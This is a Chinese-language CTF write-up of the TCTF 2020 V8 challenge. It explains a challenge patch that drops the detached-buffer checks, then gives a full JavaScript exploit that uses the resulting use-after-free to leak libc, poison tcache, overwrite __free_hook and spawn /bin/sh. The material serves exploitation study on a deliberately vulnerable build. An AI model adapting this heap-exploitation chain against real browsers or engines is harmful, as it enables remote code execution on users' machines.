透过tcft2020的chromium_rce学习V8
2020-07-31 10:44:14 Author: xz.aliyun.com(查看原文) 阅读量:271 收藏

本文是前段时间tcft2020国际赛Chromium RCE的题解,本题难度较低,比较适合作为V8的入门题练手。

题目说明:

It's v8, but it's not a typical v8, it's CTF v8! Please enjoy pwning this d8 :)
nc pwnable.org 40404
Attachment here
Enviroment: Ubuntu18.04
Update: If you want to build one for debugging, please
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b

需要个梯子,才能把v8源码拉下来,这里算是个坑。

编辑~/.gitconfig,ip、端口对应改一下

[http]
    proxy = http://10.211.55.2:1087
[https]
    proxy = http://10.211.55.2:1087

~/.zshrc添加这两条

alias proxy="export ALL_PROXY=http://10.211.55.2:1087"
alias unproxy="unset ALL_PROXY"

这样就可以开始配置v8,先安装depot_tools

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.zshrc

安装ninja

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.zshrc

编译v8,题目给了hashf7a1932ef928c190de32dd78246f75bd4ca8778b

fetch v8 && cd v8
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync

#打入patch
git apply 'path/to/tctf.diff'

#配置
tools/dev/v8gen.py x64.debug

#编译
ninja -C out.gn/x64.debug

如果只是想编译d8的话,最后一个命令后面加个d8的参数ninja -C out.gn/x64.debug d8

编译release版本

tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

找到/out.gn/x64.debug/d8就是编译好的v8

为方便gdb调试,在~/.gdbinit添加

source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py

分析diff.patch,出题人把--allow-native-syntax支持删了,这样就把%DebugPrint%SystemBreak砍掉了,没法调试。保留了%ArrayBufferDetach,并且不需要--allow-native-syntax参数。为了方便调试,对patch文件进行了修改

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast<AttachedJSTypedArray>(target);

     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);

       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1339,9 +1339,9 @@ MaybeLocal<Context> Shell::CreateRealm(
     }
     delete[] old_realms;
   }
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   Local<Context> context =
-      Context::New(isolate, nullptr, global_template, global_object);
+      Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+                   v8::MaybeLocal<Value>());
   DCHECK(!try_catch.HasCaught());
   if (context.IsEmpty()) return MaybeLocal<Context>();
   InitializeModuleEmbedderData(context);
@@ -2260,10 +2260,7 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }

-  isolate->SetHostImportModuleDynamicallyCallback(
-      Shell::HostImportModuleDynamically);
-  isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+  // `import("xx")` is not allowed

 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
@@ -2285,9 +2282,9 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
   // This needs to be a critical section since this is not thread-safe
   base::MutexGuard lock_guard(context_mutex_.Pointer());
   // Initialize the global objects
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   EscapableHandleScope handle_scope(isolate);
-  Local<Context> context = Context::New(isolate, nullptr, global_template);
+  Local<Context> context = Context::New(isolate, nullptr,
+                                        ObjectTemplate::New(isolate));
   DCHECK(!context.IsEmpty());
   if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
     isolate->SetWasmLoadSourceMapCallback(ReadFile);

给v8打上patch,编译一份debug版本

漏洞点在于:patch删去了对Attached状态的check,都默认为Attached,导致被释放的chunk是可读写的。

像这样可以申请一块glibc的chunk,var chunk0 = new Uint8Array(0x100);,但这样是通过calloc去分配,没法分配到tcache的堆块

释放以后,链入tcache,%ArrayBufferDetach(chunk0.buffer);

%DebugPrint(chunk0.buffer);可以打印出chunk信息

var chunk0 = new Uint8Array(0x300);
%ArrayBufferDetach(chunk0.buffer);
%DebugPrint(chunk0.buffer);

调试方法:
gdb启动d8,设置参数set args --allow-natives-syntax /path/to/js_file。在js代码需要断下的地方写一条%SystemBreak();,这样便会触发DebugBreak断下。

构造unsorted bin,leak出libc地址

tcache attack攻击__free_hook

在js中,需要通过以下形式去调用malloc,通过calloc无法分配到tacache bins

function malloc(size){
    var chunk = {};
    chunk.length = size;
    var addr = new Uint8Array(chunk);
    return addr;
}

劫持__free_hook触发system('/bin/sh')

完整exp

function b2i(a){
    var b = new BigUint64Array(a.buffer);
    return b[0];
}

function i2l(i){
    var b = new Uint8Array(BigUint64Array.from([i]).buffer);
    return b;
}

function hex(i){
    return '0x'+i.toString(16).padStart(16, '0');
}

function malloc(size){
    var chunk = {};
    chunk.length = size;
    var addr = new Uint8Array(chunk);
    return addr;
}

var chunk0 = new Uint8Array(0x1000);
var chunk1 = new Uint8Array(0x1000);
var chunk2 = new Uint8Array(0x1000);
var chunk3 = new Uint8Array(0x1000);

%ArrayBufferDetach(chunk0.buffer);
%ArrayBufferDetach(chunk1.buffer);

//%DebugPrint(chunk0.buffer);
chunk2.set(chunk1);

var libc_base = b2i(chunk2.slice(8, 16)) - 0x3ebca0n;
var free_hook = libc_base + 0x3ed8e8n
var system = libc_base + 0x4f4e0n       //remote: 0x4f440n
console.log('libc_base: '+hex(libc_base));
//%SystemBreak();

var chunk4 = new Uint8Array(0x300);
var chunk5 = new Uint8Array(0x300);

%ArrayBufferDetach(chunk4.buffer);
%ArrayBufferDetach(chunk5.buffer);

chunk5.set(i2l(free_hook));
var chunk6 = malloc(0x300);
var chunk7 = malloc(0x300);
chunk7.set(i2l(system));
//%SystemBreak();

chunk6[0] = 0x2f;
chunk6[1] = 0x62;
chunk6[2] = 0x69;
chunk6[3] = 0x6e;
chunk6[4] = 0x2f;
chunk6[5] = 0x73;
chunk6[6] = 0x68;
chunk6[7] = 0x00;

%ArrayBufferDetach(chunk6.buffer);

文章来源: http://xz.aliyun.com/t/8057
如有侵权请联系:admin#unsafe.sh